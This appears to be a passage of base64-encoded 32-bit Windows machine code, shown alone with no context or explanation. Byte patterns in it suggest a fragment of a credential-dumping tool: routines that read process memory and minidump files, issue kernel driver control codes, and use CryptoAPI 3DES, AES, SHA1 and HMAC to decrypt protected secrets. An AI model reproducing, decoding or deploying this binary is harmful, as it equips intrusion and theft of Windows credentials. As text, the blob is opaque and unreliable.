EWfOli3AkjUhEjXhIiRFqAFaNBBaLVCQYiQeLRCQkK8aD6ESJQkzoyHEAAItEJBiLz2oA/3BM6LhxAACLdCQwg8QQi3wkJItDGItMJBiLVCQQiRQHg8cEi0kUA/GJTCQciXQkIIl8JCQ79Q+CUv///1+Lw15dW4vlXcNWi/GF9nQ/U4sdJKQHEFcz/zl+HHYrVYtGGIssuIXtdBmDfUQAdAX/dUT/04N9SAB0Bf91SP/TVf/TRzt+HHLXXVb/019bXsNTVle7DGgIEDP2U1ZozLUIEIv66MkuAACDxAyF/3RjVf83/zdTVmjwtQgQ6LEuAABTVmgotggQ6KUuAACNTwToGXAAAL3UaQgQVeiSLgAA/3cU/3cUU1ZoTLYIEOiALgAAg8Q4OXccdhGLVxiLFLLoEgAAAEY7dxxy71XoYS4AAFldX15bw1NVVrsMaAgQi/JTagJdVWiEtggQ6EIuAACDxAyF9g+EMwEAAFf/Nv82U1Vo8LUIEOgmLgAAU1VoKLYIEOgaLgAAjU4E6I5vAAC/1GkIEFfoBy4AAP92FP92FFNVaEy2CBDo9S0AAP92GP92GFNVaLS2CBDo4y0AAItOHIPETOg68f//UFFRU1Vo8LYIEOjJLQAA/3Yg/3YgU1VoNLcIEOi3LQAA/3Yk/3YkU1VobLcIEOilLQAAi04og8RA6Pzw//9QUVFTVWiotwgQ6IstAAD/diz/dixTVWjstwgQ6HktAAD/djD/djBTVWgkuAgQ6GctAACDxEBTVWhcuAgQ6FgtAABqAGoQjU40Wuh7bQAAV+hFLQAAU1VogLgIEOg5LQAAi05E6N9uAABX6CstAABTVWikuAgQ6B8tAACLVkyLTkhqAOhCbQAAaNSvCBDoCC0AAIPEOF9eXVvDgeycAAAAjUQkHFNVVldqQGo2UIv6i/Ez7eh6aAUAakCNRCR8alxQ6GxoBQCDxBiF/3QajUwkLI1UJGwrzivWigYwBDEwBDJGg+8BdfKLhCS0AAAAix1ApAcQg8BAUGpAiUQkGP/TiUQkFIXAD4QDAQAAahBZ/7QktAAAAIv4jXQkMP+0JLQAAACDwEDzpVDolCcHAItUJCCNRCQkahRQ/3QkJLkEgAAA6LPc//+DxBiFwA+EswAAAIuEJMQAAACLrCS8AAAAg8BUA8VQakCJRCQY/9OL2IXbD4SLAAAAg7wkuAAAAACNdCRsahBZi/vzpWoFjXtAWY10JBjzpXQYhe10FFX/tCS8AAAAjUNUUOgUJwcAg8QMg7wkwAAAAAB0IYuEJMQAAACFwHQWUP+0JMQAAACNRVQDw1Do6SYHAIPEDGoU/7QkzAAAAIvTuQSAAAD/dCQY6AXc//+DxAyL6FP/FSSkBxDrAjPt/3QkFP8VJKQHEF9ei8VdW4HEnAAAAMOD7BxTVovCM9uJRCQMi/FXvwSAAACD+BR0JGoUjUwkGIvWUVCLz+iz2///g8QMhcAPhOgAAACLRCQQjUwkFIlMJAyFyQ+E1AAAADl8JESLfCQ0VYtsJEB1MYX/dQSF7XQp/3QkTIvQi87/dCRIVf90JEhX/3QkSP90JEjo/v3//4PEHIvY6ZMAAACLRCQ0A0QkPANEJERQakCJRCQc/xVApAcQi/CF9nR0i1wkNFP/dCQ0VujuJQcAi0wkSIPEDIX/dBaFyXQSUY0EHldQ6NQlBwCLTCRIg8QMhe10GItEJESFwHQQUI0EHgPBVVDotCUHAIPEDP90JFCLVCQU/3QkUItMJFD/dCQcVmoU6I/e//+DxBSL2Fb/FSSkBxBdX16Lw1uDxBzDg+wgU1UzwIlUJCBWi/Ez24tMJDyFyVcPlMCJXCQUi344iUQkGItGUMHoA8HvA4F+NANmAACJRCQQdQhqGFo7+g9C+oXJdG2LTkyB+Q6AAABqFF0PROiJTCQkVWpAiWwkJP8VQKQHEIvIiUwkFIXJdFGLVCRAjUICiUQkGGaLAoPCAmY7w3X1K1QkGNH6VVG5BIAAAI0EEotUJEhQjUEKOUQkMA9FwYvI6Ara//+DxAyLyOsSi0wkQIlMJByLTCQY6wiLTCQYi0QkEIstJKQHEIXJD4RRAQAAUGpA/xVApAcQiUQkGIXAD4Q8AQAA/3QkEItMJBiLVCQ4UP92TDPAhckPRUQkKFBR/3QkUItMJED/dCRQ/3Y8/3ZA6Lr9//+DxCSFwA+E+QAAAFdqQP8VQKQHEIlEJECFwA+E5AAAAItUJBiLTkxXUP90JBjoSdv//4PEDIXAD4TAAAAAi040jUQkLFCNRCQkUFNXi3wkUIvX6ILj//+DxBCFwA+EjQAAAP92XGpA/xVApAcQi8iLRCREiQiFyXRK/3Zc/3ZgUejbIwcAi0Zcg8QMi0wkSIt0JERRiQH/NlNqAVP/dCQ0/xUsoAcQi9iF23UX/zb/1f8VNKQHEFBoyLgIEOh3KAAAWVn/dCQg/xVIoAcQi0wkLOiI2///hcB1J/8VNKQHEFBoQLkIEOhNKAAAWVnrEv8VNKQHEFBo+LkIEOvpi3wkQFf/1f90JBj/1YtEJBSFwHQDUP/VX15di8Nbg8Qgw4PsHFOLXCQsVYtsJCxWVzP/iVQkIIlMJCSJXCQYiWwkHDl8JEx0eDl8JFB0cuiF7v//i/CF9g+EwgAAAP90JEiLVCRQi87/dCRI/3QkXFNV/3QkZOhp/f//i/iDxBiF/3Q0i1wkMIXbdCyDfjAAdCaDfiwAdCD/dixqQP8VQKQHEIkDhcB0D/92LP92MFDoriIHAIPEDIvO6P7u///rX41EJBBQ/3QkRI1EJCD/dCREagBQ/3QkRI1EJDhQ/xV4oQcQi/iF/3Q2i0QkEIt0JEhQakCJBv8VQKQHEItMJESJAYXAdA//Nv90JBhQ6FAiBwCDxAz/dCQU/xUkpAcQi8dfXl1bg8Qcw1WL7IPsNFNWV4t9DDP2iVXsjVcCZosHg8cCZjvGdfUr+tH/g+EEiU3wjQQ/iUX4uAKAAACNSAIPRcGLyIlF9OiC4///UGpAiUX8/xVApAcQi9iF2w+EoAAAAItVCIv6jU8CZosHg8cCZjvGdfX/dfwr+YtN9NH/U40EP1Do8Nb//4PEDIXAdGs5dRB0Szl18HVGi338jUXMVmogUGgQJwAA/3X4i9O5DIAAAP91DFfoutv//4PEHIXAdB1WV1NqAf91+I1VzLkMgAAA/3UMaiDomdv//4PEHP91GItN7IvT/3UU/3UM/3X86BUAAACDxBCL8FP/FSSkBxBfi8ZeW4vlXcNVi+yD7BRTVot1DIvZVzP/jU4CZosGg8YCZjvHdfUr8Y1F7GoU0f65BIAAAFCNBHUCAAAAUP91DP91COjw2f//g8QUhcB0F/91FI1V7IvL/3UQahToDgAAAIPEDIv4i8dfXluL5V3Dg+wkU1VWi/GJVCQgVzPbiXQkILgEgAAAi34Ygf8JgAAAD0T4i8+JfCQo6C3i//+LThyL6Oj94v//i04ciUQkFOh+4v//A0QkFFBqQIlEJDT/FUCkBxCJRCQchcAPhOsBAACLVCQki89qAf90JDBQ/3YUjUYEahBQ/3QkUOiD2v//iz0kpAcQg8QchcAPhLUBAACLVCQcjUQkMItOHFCNRCQcUFP/dCQg6Jvf//+DxBCFwA+EfAEAAItEJBwDRCQUU1BqAf90JCT/FRSgBxCFwA+EOQEAAItGJFBqQIlEJBj/FUCkBxCL8IX2D4QfAQAAi0QkIP90JBD/cCBW6M4fBwCDxAyNRCQQUFZTU1P/dCQs/xUsoAcQhcAPhO0AAACLTCQgM8BqBFpVgXkcA2YAAItMJBQPRMIryItEJEQrzYPpEGpAiQj/FUCkBxCJRCQghcAPhLQAAACLVCQki0wkKFVQahBW/3QkSOhb2P//g8QUhcAPhI0AAABVakD/FUCkBxCJRCQkhcB0fItMJECLVCQgVVD/MYvGKwEDRCQci0wkNFBV6CDY//+DxBSFwHRPVYtsJCiNRhBQVeiEJAcAg8QMhcAPlMOF23Q4i0QkQP8wakD/FUCkBxCLyItEJDyJCIXJdB6LVCRAi8b/MisCA0QkFFBR6NUeBwCDxAzrBItsJCRV/9f/dCQg/9dW/9f/dCQY/xVIoAcQi0wkMOir1v//hcB1If8VNKQHEFBokLoIEOsM/xU0pAcQUGh4uwgQ6GIjAABZWf90JBz/119eXYvDW4PEJMOD7DBTVVZXaAAAAPBqGDP/jUQkJFdXi++L8lCL2YlsJCz/FTygBxCFwA+EawIAAI1EJCRQV1f/dCRQVv90JDD/FRCgBxCFwA+EQgIAAItDBIs9QKQHEFBqQIlEJBj/14vwhfYPhBoCAAD/dCQQ/3McVugCHgcAg8QMjUQkEFBWVWoBVf90JDj/FSygBxCLLSSkBxCFwA+EzgEAAItMJByNRCQoUI1EJBi6A2YAAFCLBmoAg8AIA8ZqGFDoONT//4PEFIXAD4SyAQAAiwZqAIPAIAPGUGoB/3QkIP8VFKAHEIXAD4RJAQAAi0MIUGpAiUQkGP/Xi/iF/w+ERgEAAP90JBD/cyBX6G0dBwCDxAyNRCQQM9tQV1NTU/90JCj/FSygBxCFwA+E7gAAAItHBIvXg8AIuQSAAAADx4lEJCCNRCQsahRQi0QkGIPA7FDoXtL//4PEDIXAD4TPAAAAi1QkEIvLA9eNXCQsi0SK7DsEiw+FtgAAAEGD+QV17YsGi0wkTFBqQIkB/xVApAcQi1wkSIvIiQuFyQ+EjwAAAItEJEz/MI1GCFBR6MscBwCLRCRcg8QMg2QkGAD/dCQggyAA/xVMoAcQUGpAiUQkGP8VQKQHEIvIi0QkUIkIhcl0F/90JCBR/3QkGP8VUKAHEIlEJBiFwHU2gzsAdAb/M//ViQOLXCRQgzsAdAb/M//ViQOLRCRMgyAA6xP/FTSkBxBQaEC8CBDoJiEAAFlZV//V6xP/FTSkBxBQaNi8CBDoDiEAAFlZ/3QkFP8VSKAHEItMJCjoH9T//4XAdSH/FTSkBxBQaHi9CBDrDP8VNKQHEFBoQLwIEOjWIAAAWVlW/9WLbCQY/3QkJP8VSKAHEDP/V/90JCD/FQCgBxBfXovFXVuDxDDDVYvsi0Fwg+qAA0FoA0FgU4tdEAPCVot1DI1VDFeDIwBSgyYAjVUQUv9xeItNCFDoRUkAAIv4g8QQhf90NYtNDIPB/FFqQIkL/xVApAcQiQaLdRCFwHQUi00Mg8H8UY1OBFFQ6GwbBwCDxAxW/xUkpAcQi8dfXltdw4PsIFNVVovxiVQkIDPbuQSAAABXi/uLRhw9CYAAAA9EwYvIiUQkKOi83P//i04o6I7d//+LTiiL6IlsJBToDd3//wPFUGpAiUQkKP8VQKQHEIvoiWwkHIXtD4RPAQAAi1QkJI1GNItMJChqAf90JCRV/3YgahBQahToEtX//4PEHIXAD4QeAQAAi04ojUQkLFCNRCQUi9VQU/90JCDoMtr//4PEEIXAD4TnAAAAi0QkFFMDxVBqAf90JBz/FRSgBxCFwA+EpgAAAItGTFBqQIlEJCD/FUCkBxCL6IXtD4SIAAAA/3QkGP92SFXoaxoHAIPEDI1EJBhQVVNTU/90JCT/FSygBxCFwHRai34sahRYO/gPQsdQVf90JEToOxoHAIt2MI0ML2oQWDvwiUwkNA9CxlBR/3QkTOgeGgcAM/+DxBhHg8bwdByF9nQYi0wkKIX/dBAzwDhEGRAPlMAj+EM73nLsVf8VJKQHEItsJBz/dCQQ/xVIoAcQi0wkLOjX0f//hcB1If8VNKQHEFBoSL4IEOsM/xU0pAcQUGg4vwgQ6I4eAABZWVX/FSSkBxCLx19eXVuDxCDDVleL+TP2i8eLztPoqAF0E/80tYALCBBojKUIEOhaHgAAWVlGg/4Fct1fXsNTVleL+TP2u4ylCBCLx4vO0+ioAXQP/zS10AsIEFPoLB4AAFlZRoP+BXLh98cAAAAgdA1oJMEIEFPoER4AAFlZX15bw1NWVzP2i9lWVv8VCKQHEIv4jQQ/UGpA/xVApAcQiQOFwHQehf90ElBX/xUIpAcQjU//O8F1A0brCP8z/xUkpAcQX4vGXlvDVYvsUVNWV2gEAQAAakCL+ovZM/b/FUCkBxBTiQf/FZylBxCFwHQpjU386Ir///+FwHQsU/91/P83/xWUpQcQ/3X899gb9vfe/xUkpAcQ6wtT/zf/FZilBxCL8IX2dQj/N/8VJKQHEF+Lxl5bi+Vdw1ZXM/8z9ldXagNXRlZXUf8VPKQHEIXAdA6D+P90CVD/FSykBxDrAov3X4vGXsNRUVNVVjP2i8GL3olEJBCL6ol0JAxXOR0MiQsQD4SPAAAAjUQkEFBWagH/dCQoVf8VfKEHEIXAD4S+AAAAi0QkEAPAUGpA/xVApAcQi/iF/w+EpQAAAI1EJBBQV2oB/3QkKFX/FXyhBxCL2IXbdDn/dCQUaKDBCBDoqRwAAFlZOXQkEHYYD7cEd1BoIMIIEOiSHAAARllZO3QkEHLoaCjCCBDofxwAAFlX/xUkpAcQ60pWVmoCVlZoAAAAQFD/FTykBxCL+IX/dDKD//90LVaLdCQgjUQkFFBWVVf/FUSkBxCFwHQPO3QkEHUJV/8VBKQHEIvYV/8VLKQHEF9eXYvDW1lZw4PsDFNWM/aL2jk1EIkLEHQs/3QkGOjoYQAAi/BZhfYPhZwAAAD/FTSkBxBQaFjCCBDo7BsAAFlZ6YQAAABXVlZqA1ZqAWgAAACAUf8VPKQHEIv4hf90aYP//3RkjUQkEFBX/xUcpAcQhcB0TTl0JBR1R4tEJBBVi2wkIFBqQIlFAP8VQKQHEIkDhcB0K1aNTCQUUf91AFBX/xVIpAcQhcB0DotFADtEJBB1BTP2RusI/zP/FSSkBxBdV/8VLKQHEF+Lxl5bg8QMw4vRVTPtVov1ZjkqdCxTi8JXD7cIi/1mO48wDAgQan5bD0TLg8cCg/8ScutGZokIjQRyZjkoddpfW15dw1WL7IPk+IHsXAIAAFNWV4v5M/ZXi9qJfCQQiXQkFP8VDKQHEIP4/w+E/AEAAKgQD4T0AQAAOXUQdDU5dQx1MFdoDGgIEFZo8MIIEOjNGgAAg8QQhdt0DVNoFMMIEOi7GgAAWVlo1GkIEOivGgAAWWgIAgAAakD/FUCkBxCL8IX2D4ScAQAAV2gEAQAAVujTjQUAg8QMhcAPhYUBAABoIMMIEGgEAQAAVugcjgUAg8QMhcAPhWoBAACF27gkwwgQD0XDUGgEAQAAVuj7jQUAg8QMhcAPhUkBAACNRCQYUFb/FSCkBxCJRCQUg/j/D4QwAQAAjUQkRGgowwgQUOjviwUAWVmFwA+E9gAAAI1EJERoLMMIEFDo1osFAFlZhcAPhN0AAABXaAQBAABW6DWNBQCDxAyFwA+FxgAAAGggwwgQaAQBAABW6H6NBQCDxAyFwA+FqwAAAIv+M9KNTwJmiweDxwJmO8J19Y1EJEQr+VBoBAEAAFbR/+hNjQUAg8QMhcB1ejlFEHQujUQkRFCLRCQcwegD99CD4AKDyERQi0UMUGgMaAgQA8BQaDTDCBDoahkAAIPEGPZEJBgQdRaDfRQAdDr/dRiNBH5QVv91DP9VFOsig30IAHQk/3UYi0UMi9P/dRRAi87/dRBQagHoDv7//4PEFIlEJBCFwHUbi3wkDI1EJBhQ/3QkGP8VGKQHEIXAD4Xa/v///3QkFP8VEKQHEFb/FSSkBxCLRCQQX15bi+Vdw4PsHItEJChVVolEJCAz9mj4BAkQjUQkDMdEJBgKAAAAUIl0JCDHRCQkYcQAEP8VVKcHEFaNRCQMiXQkNGoQjVQkOIlEJBhZ6MQcAACL6FmF7XgtV4t8JDQ5N3YcU41fBI1EJBhQU+gdAAAAhcB0CEaDwxA7N3LpW1f/FSSkBxBfXovFXYPEHMNRUVOLXCQQVVYz9v8zRmoAakD/FfijBxCL6IXtD4SsAAAAV4t8JCCNRCQQ/3cIVv93BFD/FQCkBxBQD7dDBlBV/xX8owcQhcB0fI1EJBRQagBqAGoC/3QkIP8VUKcHED0EAADAdVb/dCQUakD/FUCkBxCL2IXbdESNRCQUUP90JBhTagL/dCQg/xVQpwcQhcB4I4M/AHQOVv83U/8VWKcHEITAdBD/dxD/dCQg/3QkGP9XDIvwU/8VJKQHEP90JBD/FSykBxBV/xUspAcQX4vGXl1bWVnCCACD7AxTVYvqM9uL0YlsJBBWi3QkKFeJVCQUOVwkMHU1hfZ0BIsG6wIzwIt8JCiF/3QEiw/rAjPJagCNXCQUU1BR/3QkNP90JDRVUv8V9KMHEIvY62eLfCQoxwYAAAEA/zZqQP8VQKQHEIkHhcB0TWoAjUwkFFH/NlD/dCQ0/3QkNFX/dCQw/xX0owcQi9iF23QEM+3rGP8VNKQHEIvogf3qAAAAdQj/N/8VJKQHENEmgf3qAAAAi2wkGHSjhdt1Jf8VNKQHEFBVaFjDCBDouBYAAIPEDDlcJDB0FP83/xUkpAcQ6wqF9nQGi0QkEIkGX15di8Nbg8QMw1NWVzP2i9pWVmoDVlZoAAAAwGhMxAgQ/xU8pAcQi/iF/3Qug///dClqAf90JCCL04vP/3QkIP90JCD/dCQg6MX+//+DxBSL8Ff/FSykBxDrE/8VNKQHEFBo6MMIEOgvFgAAWVlfi8ZeW8NRUVVWUY1EJBAz9lCNRCQQiXQkEFD/dCQgUovR6HX///+L6IPEFIXtdC1Ti1wkDFeLfCQU0e90Fg+3BHNQaCDCCBDo4BUAAEZZWTv3cupT/xUkpAcQX1tei8VdWVnDVYvsg+T4UVFTVVZXakhqQIvZ/xVApAcQi+iF7Q+EqQAAAGoKWYvQi/OL/fOli3UIjUsoiU0oA86JTSwDTRyJTTADSgyJSjQDShCJSjgDSiCJSjyLUhQD0Y1IRIlQQItAGAPCiQGNTShqAFboqVcAAIv1jU0sM/9X/3Yc6JlXAABX/3YMjU0w6I1XAABX/3UQjU006IFXAABX/3UgjU046HVXAABX/3UUjU086GlXAABX/3UYjU1A6F1XAABX/3UkjU1E6FFXAACDxEBfi8VeXVuL5V3DVovxhfZ0Y4N+KABXiz0kpAcQdAX/dij/14N+LAB0Bf92LP/Xg34wAHQF/3Yw/9eDfjQAdAX/djT/14N+OAB0Bf92OP/Xg348AHQF/3Y8/9eDfkAAdAX/dkD/14N+RAB0Bf92RP/XVv/XX17DU1ZXuwxoCBAz/1NXaGTECBCL8uhwFAAAg8QMhfYPhLYBAABV/zb/NlNXaPCpCBDoVBQAAP92CP92CFNXaJDECBDoQhQAAP92DP92DFNXaODECBDoMBQAAP92EP92EFNXaDDFCBDoHhQAAIPEUP92FP92FFNXaIDFCBDoCRQAAP92GP92GFNXaNDFCBDo9xMAAP92HP92HFNXaCDGCBDo5RMAAP92IP92IFNXaHDGCBDo0xMAAIPEUP92JP92JFNXaMDGCBDovhMAAFNXaAzHCBDoshMAAP92KGhExwgQ6KUTAABTV2hMxwgQ6JkTAACLVhyLTixX6L1TAAC91GkIEFXoghMAAFNXaITHCBDodhMAAIPESFeLVgyLTjDol1MAAFXoYRMAAFNXaLzHCBDoVRMAAItWNDPtg8QURYXSdAw5fhB0B4vN6JHd//9TV2j0xwgQ6DATAACLVjiDxAyF0nQMOX4gdAeLzehv3f//U1doLMgIEOgOEwAAi1YUi048V+gyUwAAaNRpCBDo+BIAAFNXaGTICBDo7BIAAItWQIPEIIXSdAw5fhh0B4vN6Cvd//9TV2icyAgQ6MoSAACLVkSDxAyF0nQQOX4kdAuLzV1fXlvpBd3//11fXlvDUVGDJCQAi8FTVVaLaAhr9QlXiUQkFIv6i0QkHMHuBIPGFFZqQIkw/xVApAcQi9iJH4XbD4SeAAAAi3QkFIv9xwMHAgAAx0MEAKQAAMHvA4sGiUMIiWsMi0YQg8YUV4lDEIPDFFZTx0QkHAEAAADoYA0HAIPGCMHtBFUD9wPfVlPoTg0HAIPGBAPdVQP1VlPoPw0HAIPGBAPdVQP1VlPoMA0HAIPGBAPdVQP1VlPoIQ0HAIPGBAPdVQP1VlPoEg0HAIPESI1NBAPOV1GNDCtR6P8MBwCDxAyLRCQQX15dW1lZw1WL7IPk+FNVVleL6WpAakD/FUCkBxCL2IXbdHVqC1mL9Y1VLIv7jUMw86WLSwiNayxQjUM0iVUAA8qLUxBQ6LcCAABZWYXAdQto2MgIEOh2EQAAWYtVAIvNA1MIA1MQi0MUagD/cwgDwolTOIlDPOilUwAAagD/cxSNSzjomFMAAGoA/3MYjUs86ItTAACDxBhfi8NeXVuL5V3DVovxhfZ0P4N+LABXiz0kpAcQdAX/diz/14tWMIXSdAyLTjSFyXQF6EQDAACDfjgAdAX/djj/14N+PAB0Bf92PP/XVv/XX17DU1ZXuwxoCBAz/1NXaGzJCBCL8ujOEAAAg8QMhfYPhCgBAAD/Nv82U1dokMkIEOizEAAA/3YE/3YEU1do4MkIEOihEAAA/3YI/3YIU1doMMoIEOiPEAAA/3YM/3YMU1dogMoIEOh9EAAAg8RQ/3YQ/3YQU1do0MoIEOhoEAAA/3YU/3YUU1doIMsIEOhWEAAA/3YY/3YYU1docMsIEOhEEAAAU1dowMsIEOg4EAAAg8RIjU4cV2oQWuhZUAAAxwQk1GkIEOgdEAAAU1do/MsIEOgREAAA/3Ysi0YI0ehQaDjMCBDo/g8AAFNXaETMCBDo8g8AAP92MItWNDPJQeh2AgAAU1dogMwIEOjYDwAAi1Y4g8Q4hdJ0DTl+FHQIM8lB6Bba//9TV2i8zAgQ6LUPAACLVjyDxAyF0nQQOX4YdAtfM8leQVvp8Nn//19eW8NTVle7DGgIEI08CVNXaPjMCBCL8uh+DwAAg8QMhfYPhKAAAAD/Nv82U1doMM0IEOhjDwAA/3YE/3YEU1doeM0IEOhRDwAA/3YI/3YIU1dowM0IEOg/DwAA/3YM/3YMU1doCM4IEOgtDwAAg8RQ/3YQ/3YQU1doUM4IEOgYDwAAU1dolM4IEOgMDwAA/3YUi0YM0ehQaDjMCBDo+Q4AAFNXaMTOCBDo7Q4AAItWEItOGGoA6BBPAABo1K8IEOjWDgAAg8RAX15bw1WL7IPk+IPsHFOLXQwzwFYz9olMJBxXIQOF0nQJAwQI/wM7wnL3iwPB4AJQakD/FUCkBxCLfQiJB4XAD4S4AAAAIXQkHDPSM/aJVCQQRol0JBg5Ew+GrgAAAIX2D4SXAAAAi0QkIGocA8JqQIlEJCz/FUCkBxCJRCQUhcB0QotUJCSL+GoFWYvyg8IU86WLcAyNSBSNeBiJEWoAVo0EFokH6HlQAACLRCQci89qAP9wEOhpUAAAi3QkKIPEEIt9CIsHi0wkHItUJBSF0okUiItUJBB0DYsHiwSIAxCJVCQQ6wYz9ol0JBhBiUwkHDsLD4Jl////hfZ1D4sTiw/oDwAAAIMnAIMjAF+Lxl5bi+Vdw1FVi+mLwolEJASF7XQ/VjP2V4s9JKQHEIXAdCxTi1y1AIXbdB2DexQAdAX/cxT/14N7GAB0Bf9zGP/XU//Xi0QkEEY78HLWW1X/119eXVnDU1VWi3QkEIvai+mF9nQohdt0JFdWaPTOCBDoTw0AAFkz/1mF9nQPixS7i83opv3//0c7/nLxX15dW8NVi+yD7BxTVlczwI196DPbi/GJXeSrq6urq41F/FBqAY1F5FBT/xVYoAcQhcB4GlZqDP91/P8VXKAHEP91/IXAD5nD/xVUoAcQX16Lw1uL5V3DUVNVV41EJAwz/1BXi9qJfCQUi+lTVf8VYKAHEP8VNKQHEIP4V3QFg/h6dTZW/3QkEGpA/xVApAcQi3QkGIkGhcB0Ho1MJBBRUFNV/xVgoAcQi/iF/3UK/zb/FSSkBxCJBl6Lx19dW1nDVYvsUVaNRfwz9lCBygAAAkCJdfxSVlZRVv8VWKQHEIXAdViLRfyLCIPBBI1RAmaLAYPBAmY7xnX1K8rR+VeNPE0CAAAAV2pA/xVApAcQi8iLRQiJCIXJdBaLRfwz9ldGiwCDwARQUeg0BwcAg8QM/3X8/xVcpAcQX+sNUGgQzwgQ6PILAABZWYvGXovlXcNTVVZXaghqQIvqi/Ez2/8VQKQHEIt8JBSJB4XAD4SCAAAAiTAr83Rtg+4BdFWD7gF0K4PuAXQFg+4DdWBqBGpA/xVApAcQi8iLB4XJiUgEdEuLBzPbQ4tABIko60dqBGpA/xVApAcQi8iLB4lIBIXJdCqLF4vNi1IE6CcGAACL2OsWagRqQP8VQKQHEIsPhcCJQQTrujPbQ4XbdQj/N/8VJKQHEF9eXYvDW8NWi/GF9nQ4iwZXiz0kpAcQg+gBdB+D6AF0DIPoAXQVg+gDdRXrDotOBIXJdAyLCeg2BgAA/3YE/9dW/9dfXsMzwF7DVYvsg+T4g+wMU4vZx0QkDBSJCxBWM/aJdCQMi0sEV4v6iwErxg+E3wAAAIPoAXR0SIPoAXRLg+gDD4V1AQAAi0cEOTB1ejkzdBeLQQRWVv8z/zD/FeCjBxCFwA+EUwEAAFaNRCQQUItDBP91CP83i0AE/zD/FUSkBxCL8OkzAQAAi0cEOTB1OFZWU/91CLqHwSIAi0kE/zeLCejT8v//g8QU69aLRwQ5MHUVi0EEVv91CP83/zP/MP8V8KMHEOu6/3UIakD/FUCkBxCJRCQQhcAPhN0AAAD/dQiL141MJBToG////1mFwHQR/3UIjVQkFIvL6Aj///9Zi/D/dCQQ/xUkpAcQ6aoAAACLTwSLASvGD4SLAAAAg+gBdG6D6AF0UYPoAXQ7g+gDD4WFAAAAi0EEVlb/N/8w/xXgowcQg/j/dHFWjUQkEFCLRwT/dQj/M4tABP8w/xVIpAcQ6Rn///9WjUUIuoPBIgBQU1bpIf///4tJBP91CIsT/zeLCej4BAAAWVnp8P7//4tBBFb/dQj/M/83/zD/FdSjBxDp2P7///91CP83/zPodQQHADP2g8QMRl+Lxl5bi+Vdw4PsJFNVVleLfCQ4i+oz28dEJCQUiQsQiVwkIIlcJCyLVwiLN4lUJCiJbCQYiUwkFI0EFolEJByLQQQ5GHUhi0cEiwArww+EyQAAAIPoAXRlg+gBdCKD6AF0W4PoA3RWi3QkODPAhdsPRcaJRwyLw19eXVuDxCTDi08EUovWi0kEiwnolQYAAIlEJCRZhcB0z4tMJBSNRCQgU1CL1ehf////i9hZWYXbdLaLNyt0JCADdCQs665SakD/FUCkBxCJRCQghcB0mf93CIvXjUwkJOhv/f//WYXAdCeLTCQUjUQkIFNQi9XoFv///4vYWVmF23QOizeLRCQgK/ADdCQs6wiLRCQgi3QkOFD/FSSkBxDpT////4t8JBgD7jtsJBx3HVdW/zHosQgHAItMJCAz24PEDIXAD5TDRkWF23Tdi3wkOE7pHP///1WL7FFRVovxx0X8BAAAAFcz/4l1+ItOBIk+iwErx3RBg+gBdCVIg+gBdUiLSQSNRfxXUI1F+IsJUFJXuovBIgDoKfD//4PEFOsp/3UIi0EEaAAQAABSV/8w/xXYowcQ6xD/dQhoABAAAFJX/xXkowcQiQYzwDk+Xw+VwF6L5V3Di1EEVjP2iwIrxnQ6g+gBdCBIg+gBdT9WVlZW/zGLSgS6j8EiAIsJ6MLv//+DxBTrJYtCBGgAgAAAVv8x/zD/FdCjBxDrDmgAgAAAVv8x/xXoowcQi/CLxl7DUVNVi+mL2lZXM/aLfQSLByvGD4S7AAAAg+gBD4SfAAAAg+gBD4W9AAAAi08EahBYi9CLCeg0AgAAi8iFyQ+EpAAAADPAi/g5QQwPgpcAAAB3CTlBCA+GjAAAAIX2D4WEAAAAixA5VQByRWoYWIsAA8I5RQB3N2oIWGoQiRNGiwCJQwRYaiSLAIlDCFhqGFpqIIsAiUMUiwKJQwxYaiiLAIlDEFiLAIlDGDPA6wQzwIvwRztBDHKkdy47eQhynesni0cEahxT/3UA/zD/FcijBxDrDGocU/91AP8VzKMHEI1w5PfeG/ZGX4vGXl1bWcNVi+xRVleLeQQz9osHK8Z0HIPoAXU5jUX8UP91CItHBFL/Mf8w/xXcowcQ6xCNRfxQ/3UIUv8x/xXsowcQi/CF9nQMi00Mhcl0BYtF/IkBX4vGXovlXcOD7BBTVY1EJBSJTCQQUI1EJAyL6lBoAgEAAIlsJBgz2/8VTKcHEIXAeGFWV/90JBCLPUCkBxBqQP/Xi/CF9nRJVWpA/9eLbCQki8iLPSSkBxCJTQCFyXQui0QkFFb/dCQsaAAQAABQUVD/dCQwaAIBAAD/FUinBxCFwA+Zw4XbdQX/dQD/11b/119eXYvDW4PEEMNTVldqCGpAi/qL2TP2/xVApAcQiQeFwHRRVlZWagJWU/8VwKMHEIsPiQGLBzkwdDNWVlZqBP8w/xW8owcQi8iLB4lIBIXJdBuLB4tABIE4TURNUHUOuZOnAABmOUgEdQNG6weLD+gGAAAAX4vGXlvDVovxg34EAHQJ/3YE/xXEowcQgz4AdAj/Nv8VLKQHEDPAQF7DVleLeQQzwIt3DAP3OUcIdg+LzjkRdA5Ag8EMO0cIcvMzwF9ew2vADItEMAgDx+vyg+xMU1VWV2oJiVQkWA9XwFqL2WYPE0QkSDP26LD///+L+IX/D4QqAgAAi28IA2sEiWwkRGYPE0QkODl3BA+C/AEAAHcIOTcPhvIBAACLRCRgi0wkTItcJDiZiUwkGIvoi0wkSIvCiUwkHItMJDyJbCQQiUQkFIlMJEiJXCQwQ8HjBAPfi1MEiws7wnIxdwQ76XIri0MMiUQkNItDCAPBiUQkOItDDBPCOUQkFA+CkAAAAHcKO2wkOA+ChAAAAItsJGSLxgNsJBATRCQUiUQkODvCcil3BDvpciOLQwyJRCQ0i0MIA8GJRCQoi0MME8I5RCQ4ckl3BjtsJChyQTlUJBQPh/UAAAByCjlMJBAPg+kAAACLQwyJRCQ0i0MIA8GJRCQoi0MME8I5RCQ4D4LKAAAAdwo7bCQoD4a+AAAAi2wkEItEJBQ7wnchcgQ76XMbD1fAK81mDxNEJCgb0ItEJCyJRCQ4i0QkKOsfi8UPV8ArwWYPE0QkIItMJBQbyotUJCSJTCQ4i0wkIItsJGQr6Yl0JCCJRCQoGVQkIIvVA9CLRCQgE0QkODtEJDRyHXcFO1MIdhaLawiLRCQoK+iLUwwbVCQ4iVQkIOsEi0QkKANEJERVUItEJFwDwVDox/0GAItUJCiDxAyLTCQYA9WJVCQcE0wkIIlMJBjrCItUJByLTCQYg0QkMAGLbCRIi0QkRBPuA0MIO28Ei1wkMIlsJEiLbCQQiUQkRItEJBQPgkv+//93EjsfD4JB/v//6wiLTCRMi1QkSDtUJGR1BzvOdQMz9kZfi8ZeXVuDxEzDg+xAg2QkLAAPV8BTVVZXagmL6mYPE0QkRFqL8WYPE0QkKGYPE0QkGOhF/f//i/iF/w+EZAEAAItfCANeBIN/BABmDxNEJEgPgk4BAAB3CYM/AA